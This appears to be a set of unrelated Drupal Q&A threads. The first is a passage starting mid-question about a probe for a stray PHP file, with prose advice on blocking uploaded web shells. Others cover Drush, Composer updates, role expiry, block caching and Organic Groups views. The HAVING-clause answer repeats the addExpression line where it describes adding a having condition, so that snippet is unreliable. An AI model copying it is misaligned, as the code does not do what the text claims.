  GET /modules/file/tests/lbuzsboe.php HTTP/1.1" 404 - "..../modules/file/tests/lbuzsboe.php

Please provide me your suggestions to resolve this problem. I have no experience on web security.

I had this problem before with some friend about files folder

The solution to this problem is:

1.- in your apache conf or nginx conf or .htaccess disable all formats php in the path /files/*

2.- if you have the opportunity change the permissions to the folder but the first point works, they will upload files php but, they will not run it.

3.- remove estrange files php and search for every file that contains text like base64, search something about this in google or other searcher.

They enter by a port using exploits and add a file like image.php.jpg, and after the file is uploaded, they change the name to image.php (it is not the real name but you get the idea).

That file is an php form, they upload files php through it, like a command line and do a lot of things...

I hope this help you.


Drush installed in local directory but command not found? I know that Drush is a huge time saver so I'm trying to get familiar with it but I keep getting

  command not found

error after installation. I've required and removed Drush a couple of times just to make sure I'm doing this correctly.

Here's what I did:

$ cd mydrupal
$ composer require drush/drush

After I run the above command many things install:

  Using version ^9.3 for drush/drush

  ./composer.json has been updated

  Loading composer repositories with package information

  Updating dependencies (including require-dev)

  Package operations: 57 installs, 0 updates, 0 removals

  Installing... (many things download and install (100%))

And I end up with this:

  Writing lock file

  Generating autoload files

    Drupal\Core\Composer\Composer::preAutoloadDump
    Drupal\Core\Composer\Composer::ensureHtaccess

Then I get my command line prompt and I run

$ drush status

and I get this:

  -bash: drush: command not found

Any ideas?

You are calling a global command. Which is not installed or symlinked into one of your Mac's autoloaded bin directories (or is not added to your global $PATH).

Simplest option you have now is to use the local command:

$ cd mydrupal
$ vendor/drush/drush/drush status

Alternatively you may want to install Drush Launcher on your Mac (to be used together with the Composer template for Drupal projects). Which when you are inside a project that has a local Drush installed automatically associates the global drush command to the project's local Drush.


Add a having condition that makes use of COUNT I currently have a query that compiles to

SELECT n.nid AS nid, field_data_field_date.field_date_value AS incident_date, field_data_field_tweeted_date.field_tweeted_date_value AS tweeted_date, n.nid AS n_nid, (SELECT source.field_source_value AS field_source_value
FROM
field_data_field_sources sources
left JOIN field_data_field_source source ON source.entity_id = field_sources_value
WHERE  (sources.entity_id = n.nid)
ORDER BY sources.delta DESC
LIMIT 1 OFFSET 0) AS most_recent_source
FROM
node n
left JOIN field_data_field_incident_type incidenttype ON incidenttype.entity_id = n.nid
left JOIN field_data_field_date field_data_field_date ON field_data_field_date.entity_id = n.nid
left JOIN field_data_field_tweeted_date field_data_field_tweeted_date ON field_data_field_tweeted_date.entity_id = n.nid
WHERE  (n.type = 'incident') AND (n.status = 1) AND( (incidenttype.field_incident_type_tid IN  (9,25)) )
GROUP BY n.nid
ORDER BY field_data_field_date.field_date_value DESC

I want to add

HAVING COUNT(DISTINCT incidenttype.field_incident_type_tid) = 2

And I can get it to work in the query when I manually create it in my SQL gui, but I can't seem to add it to the query in drupal properly.

I added

$query->addExpression('HAVING COUNT(DISTINCT incidenttype.field_incident_type_tid) = 2');

But that didn't add it how I wanted to the query. The query compiled to

SELECT n.nid AS nid, HAVING COUNT(DISTINCT incidenttype.field_incident_type_tid) = 2
AS expression FROM {node} n left JOIN {field_data_field_incident_type} incidenttype ON incidenttype.entity_id = n.nid
left JOIN {field_data_field_date} field_data_field_date ON field_data_field_date.entity_id = n.nid
WHERE (n.type = :db_condition_placeholder_0) AND (n.status = :db_condition_placeholder_1) AND (n.created < :db_condition_placeholder_2) AND( (incidenttype.field_incident_type_tid
IN (:db_condition_placeholder_3, :db_condition_placeholder_4)) )
GROUP BY n.nid ORDER BY field_data_field_date.field_date_value

I'd like to have it between GROUP BY and ORDER BY since that seems to be what worked in the query I manually wrote. Also it added 'AS expression' to the end of it. Is there a way I can specifically add 'HAVING COUNT(DISTINCT incidenttype.field_incident_type_tid) = 2'? Or should I be going about it a different way?

Instead of putting everything in one expression. I was able to achieve what I needed by creating an alias for the COUNT like so

$query->addExpression('COUNT(DISTINCT incidenttype.field_incident_type_tid)','typeCount');

and then add a having Condition afterwards using the alias I created like so.

$query->addExpression('COUNT(DISTINCT incidenttype.field_incident_type_tid)','typeCount');


Core doesn't update with Composer We use commands:

composer outdated drupal/*
drupal/core 8.6.10 8.6.13 Drupal is an open source content management platform powering millions of websites and applications.

It does show 8.6.13.

We run either composer update drupal/core --with-dependencies or composer update drupal/core:8.6.13 webflo/drupal-core-require-dev --with-dependencies and we get nothing, it does update some dependencies and that is it. Our site is built with composer.

Here's the rest of the log:

composer update drupal/core:8.6.13 webflo/drupal-core-require-dev --with-dependencies
> DrupalProject\composer\ScriptHandler::checkComposerVersion
Package "drupal/core:8.6.13" listed for update is not installed. Ignoring.
Dependency "drupal/core" is also a root requirement, but is not explicitly whitelisted. Ignoring.
Dependency "twig/twig" is also a root requirement, but is not explicitly whitelisted. Ignoring.
Loading composer repositories with package information
Updating dependencies (including require-dev)
Package operations: 0 installs, 5 updates, 0 removals
  - Updating symfony/css-selector (v3.4.22 => v3.4.23): Loading from cache
  - Updating symfony/phpunit-bridge (v3.4.22 => v3.4.23): Downloading (100%)
  - Updating symfony/dom-crawler (v3.4.22 => v3.4.23): Downloading (100%)
  - Updating symfony/browser-kit (v4.2.3 => v4.2.4): Downloading (100%)
  - Updating squizlabs/php_codesniffer (3.4.0 => 3.4.1): Downloading (100%)
Package phpunit/phpunit-mock-objects is abandoned, you should avoid using it. No replacement was suggested.
Writing lock file
Generating autoload files
> DrupalProject\composer\ScriptHandler::createRequiredFiles
root@dev /var/www/example.com # composer update drupal/core
> DrupalProject\composer\ScriptHandler::checkComposerVersion
Loading composer repositories with package information
Updating dependencies (including require-dev)
Nothing to install or update
Package phpunit/phpunit-mock-objects is abandoned, you should avoid using it. No replacement was suggested.
Generating autoload files
> DrupalProject\composer\ScriptHandler::createRequiredFiles
root@dev /var/www/example.com # drush status
 Drupal version   : 8.6.10
 Site URI         : default
 DB driver        : mysql
 DB hostname      : localhost
 DB port          : 3306
 DB username      : root
 DB name          : example
 Database         : Connected
 Drupal bootstrap : Successful
 Default theme    : seven
 Admin theme      : seven
 PHP binary       : /usr/bin/php7.2
 PHP config       : /etc/php/7.2/cli/php.ini
 PHP OS           : Linux
 Drush script     : /usr/local/bin/drush
 Drush version    : 9.4.0
 Drush temp       : /tmp
 Drush configs    : /var/www/example.com/vendor/drush/drush/drush.yml
                    /var/www/example.com/drush/drush.yml
 Install profile  : standard
 Drupal root      : /var/www/example.com/web
 Site path        : sites/default
 Files, Public    : sites/default/files
 Files, Temp      : /tmp

Drush is still reporting 8.6.10

First time we did get the WSOD from https://www.drupal.org/project/drupal/issues/3039408 so we ran composer require twig/twig:1.37.1 to fix it.

So after we ran regular update (current version was 8.6.10), our website crashed. We followed this fix to recover from WSOD https://www.drupal.org/project/drupal/issues/3039408#comment-13018093

After website was restored we tried running all kinds of composer commands to update (like mentioned in question) and it would just spit out "Nothing to install or update".

Solution:

remove "twig/twig": "1.37.1", from composer.json
Run again composer update drupal/core webflo/drupal-core-require-dev --with-dependencies

Updating twig/twig (v1.37.1 => v1.38.2): Loading from cache
Updating drupal/core (8.6.10 => 8.6.13): Downloading (100%)

So, not sure what's going on.


How to implement expiring roles in Drupal 7 today? I am in the processing of making a membership site that requires some user roles to expire after a set period of time.

The most obvious choice would be the role expire module but none of the 7.x releases have been updated in six months and the issue queue has some patches that have been marked as needing review for weeks.

Commerce subscription is another module under development that hasn't seen any action in about six months.

The only module I could find with a stable release is Commerce subscription products, which rather than being an independent module is actually a feature consisting of rules, commerce, and some fields (as per the module page).

As a site builder with a release coming in the next month or two, since it seems like there is no clear clean solution at the moment, would it be crazy to simply not implement any of these solutions and do something basic in rules myself, handling expirations manually for the first few months?  (Roles will expire monthly, and I don't anticipate more than 100 or so roles needing to be removed each month.)  Then, if use of the site started taking off, I could look at implementing one of these solutions again.  Or is there some good way to do role expiration today that I missed?

There is the Commerce License module that has a stable release and some support. I highly recommend it.


Passing data to an block I'm building an webinterface for our ticket system and I'm stuck. When you view an ticket and object Ticket is being made (containing the mails and etc.). Now on that same page I have enabled block (writen in the same module) to display some extra information.

Now the problem is, that extra information is found in the Ticket object that page creates. It's stupid to let the block fetch the ticket id and create that object all over again.

My question is, what is the most efficient way to pass that data to my blocks on that same page?

One method would be to create a central function that you can use to store the object you create, and return it from a static cache when required. That way you only need to create the object once, and other methods in the same page build can pick it up when they need it.

The function might look like this:

function MYMODULE_new_ticket_cache($new_object = NULL) {
  // Register the static cache with the system
  $object = &drupal_static(__FUNCTION__, NULL);

  // If we've been passed a new object, update the static cache to store that object
  if ($new_object) {
    $object = $new_object;
  }

  // In all cases, return the stored object (if it's NULL, that will indicate the object hasn't been stored yet)
  return $object;
}

When you create your object you would pass it to your caching function like so:

$ticket = function_to_create_new_ticket();
MYMODULE_new_ticket_cache($ticket);

Then in your hook_block_view() implementation you can inspect your cache to see if the object has been set, and use it:

$cached_ticket = MYMODULE_new_ticket_cache();

if ($cached_ticket) {
  // Build up your block content
}


Organic groups - The OG groups of the logged in user I need to list all users from organic groups in which the current (logged in) user is an administrator member.

I manage to list all users from groups where current user is member (using relationship - OG membership: OG membership from User and contextual filter - The OG groups of the logged in user), but I can not manage to get only groups where the current user has administrator privileges.

Some idea?

Thank you.

You should try to use a contextual filter in views and add a Relation to the OG Roles.

Click on the advanced section in your view.
Add the contextual filter "Content: Groups audience (og_group_ref)"
Then select "Provide default value"
Choose "The OG groups of the logged in user" in the dropdown field
Add a relation "OG Roles from membership"
Add a filter "OG Role name" and choose the role you want to have